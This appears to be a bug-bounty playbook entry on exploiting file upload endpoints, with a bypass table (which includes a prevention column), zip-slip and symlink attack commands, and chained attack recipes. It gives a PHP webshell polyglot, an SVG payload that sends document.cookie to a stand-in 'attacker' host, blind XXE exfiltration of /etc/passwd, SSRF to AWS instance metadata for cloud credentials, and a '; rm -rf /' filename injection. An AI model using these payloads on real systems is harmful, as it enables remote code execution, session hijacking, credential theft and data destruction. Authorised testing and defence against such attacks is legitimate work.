"description": "Hunt file upload bugs — RCE via webshell, XSS via SVG\/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\u0000.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML\/SVG XSS, DOCX with embedded XXE, ZIP slip (..\/..\/..\/etc\/passwd in archive), polyglot files. Detection: any \/upload, \/avatar, \/profile-picture, \/attachment, \/import endpoint. Test: upload PHP\/JSP\/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar\/attachment endpoints, import\/export functions, XML\/DOCX\/ZIP processors. Real paid examples.",

9. FILE UPLOAD
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack | How | Prevention |
|---|---|---|
| Extension bypass | shell.php.jpg, shell.pHp, shell.php5 |
Allowlist + extract final extension |
| Null byte | shell.php%00.jpg |
Sanitize null bytes |
| Double extension | shell.jpg.php |
Only allow single extension |
| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |
| Magic bytes prefix | Prepend GIF89a; to PHP code |
Parse whole file, not just header |
| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |
| SVG JavaScript | <svg onload="..."> |
Sanitize SVG or disallow entirely |
| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |
| ZIP slip | ../../../etc/passwd in archive |
Validate extracted paths |
| Filename injection | ; rm -rf / in filename |
Sanitize + use UUID names |
Magic Bytes Reference
| Type | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 |

| ZIP/DOCX/XLSX | 50 4B 03 04 |

ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)

Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"

hunt-rce— File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglotGIF89a;<?php system($_GET['c']);?>bypasses magic-byte check +.phtmlextension bypasses allowlist →GET /uploads/shell.phtml?c=id→ RCE; or PHPphar://upload to a sink callingfile_exists()on the attacker-controlled path → PHP object deserialization → RCE.hunt-xxe— Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose[Content_Types].xmlorword/document.xmlincludes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil/etc/passwdorweb.configvia the document parser.hunt-xss— SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with<script>fetch('//attacker/?'+document.cookie)</script>→ victim views attachment atapp.target.com/uploads/x.svg(same origin, not sandboxed) → cookie theft → ATO via session hijack.hunt-ssrf— Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">or ffmpegconcat:http://internal/...→ SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.security-arsenal— Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants,.phtml/.phar/.php5/.pht,.htaccessupload to re-enable handlers,web.configupload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.triage-validation— Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actualwhoamiround-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
